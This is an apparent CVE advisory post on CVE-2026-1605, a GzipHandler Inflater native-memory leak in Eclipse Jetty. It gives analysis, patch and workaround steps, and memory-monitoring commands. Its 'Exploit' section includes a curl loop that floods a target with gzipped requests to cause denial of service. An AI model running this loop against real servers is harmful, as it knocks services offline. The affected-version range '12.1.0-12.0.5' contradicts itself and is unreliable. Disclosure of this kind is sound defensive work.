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The vulnerability in Eclipse Jetty, identified as CVE-2026-1605, resides in the `GzipHandler` class. When the handler processes a compressed HTTP request with a `Content-Encoding: gzip` header, it allocates a JDK `Inflater` object to decompress the data. Typically, this `Inflater` is designed to be released after the request is processed. However, the release mechanism in the affected versions is incorrectly triggered only when the corresponding HTTP response is also compressed. If the server determines that the response should not be compressed (which is a common scenario), the `Inflater` object is never freed, leading to a resource leak. Over time, an attacker can exploit this by sending a series of compressed requests that receive uncompressed responses, causing the server to exhaust its native memory and resulting in a Denial of Service (DoS) condition. This leak is specific to the native memory used by the Inflater, not the Java heap, making it harder to detect and manage through typical JVM garbage collection.
dailycve form:
Platform: Eclipse Jetty
Version: 12.0.0-12.0.31,12.1.0-12.0.5
Vulnerability : GzipHandler Inflater Leak
Severity: Medium
date: 03/05/2026
Prediction: 04/05/2026
What Undercode Say:
Analytics:
The vulnerability is a classic resource management flaw, specifically a failure to release a native resource (Inflater) under a specific code path (compressed request, uncompressed response). Attackers can exploit this with minimal bandwidth by sending small, gzipped requests. The impact is a gradual exhaustion of native memory, leading to server instability and crash. This issue is particularly dangerous in cloud-native or containerized environments where memory limits are strictly enforced, making the service more susceptible to rapid OOM kills. The fix likely involves decoupling the inflater release from the response compression logic, ensuring it is always released in a `finally` block or via a try-with-resources equivalent.
Exploit:
This is a conceptual demonstration of triggering the leak condition.
Attacker sends a gzipped request to an endpoint that does not compress responses.
Create a simple gzipped payload
echo "Test data" | gzip > payload.gz
Use curl to send the gzipped request with the appropriate header.
The response must be uncompressed for the leak to occur.
curl -X POST http://target-jetty-server:8080/api/data \
-H "Content-Encoding: gzip" \
-H "Accept-Encoding: identity" \
--data-binary @payload.gz
An attacker would automate this process in a loop to accelerate the leak.
for i in {1..10000}; do
curl -X POST http://target-jetty-server:8080/api/data \
-H "Content-Encoding: gzip" \
-H "Accept-Encoding: identity" \
--data-binary @payload.gz \
-s -o /dev/null
echo "Request $i sent"
sleep 0.1
done
Protection from this CVE:
1. Immediate Mitigation: Update to a patched version. Check your current Jetty version. java -jar $JETTY_HOME/start.jar --version If vulnerable, upgrade to the fixed version (e.g., 12.0.32 or 12.1.6) using your package manager. For Maven projects, update the pom.xml: <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-server</artifactId> <version>12.0.32</version> </dependency> 2. Workaround: Disable GzipHandler if not essential for requests. In the Jetty XML configuration, comment out or remove the GzipHandler. Example: remove the line <Call name="insertHandler"> from jetty.xml 3. Detection: Monitor native memory usage of the Jetty process. Use native memory tracking (NMT) if available. jcmd <Jetty_PID> VM.native_memory baseline After some time: jcmd <Jetty_PID> VM.native_memory summary.diff Look for significant increases in "Internal" or "Other" memory usage. Alternatively, monitor the process's resident set size (RSS) over time. watch -n 5 'ps -o pid,rss,command -p <Jetty_PID>'
Impact:
Denial of Service: The primary impact is a Denial of Service (DoS). By repeatedly triggering the leak, an attacker can consume all available native memory on the server, causing the Jetty instance to crash or become unresponsive.
Resource Exhaustion: Leads to exhaustion of native memory, which is a finite and critical resource. This can affect not just the Jetty process but potentially other processes on the host if the JVM’s native memory limits are not properly configured.
Service Instability: Before a complete crash, the server may exhibit degraded performance, increased latency, and random failures as memory pressure mounts and garbage collection becomes less effective in managing native resources.
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Sources:
Reported By: nvd.nist.gov
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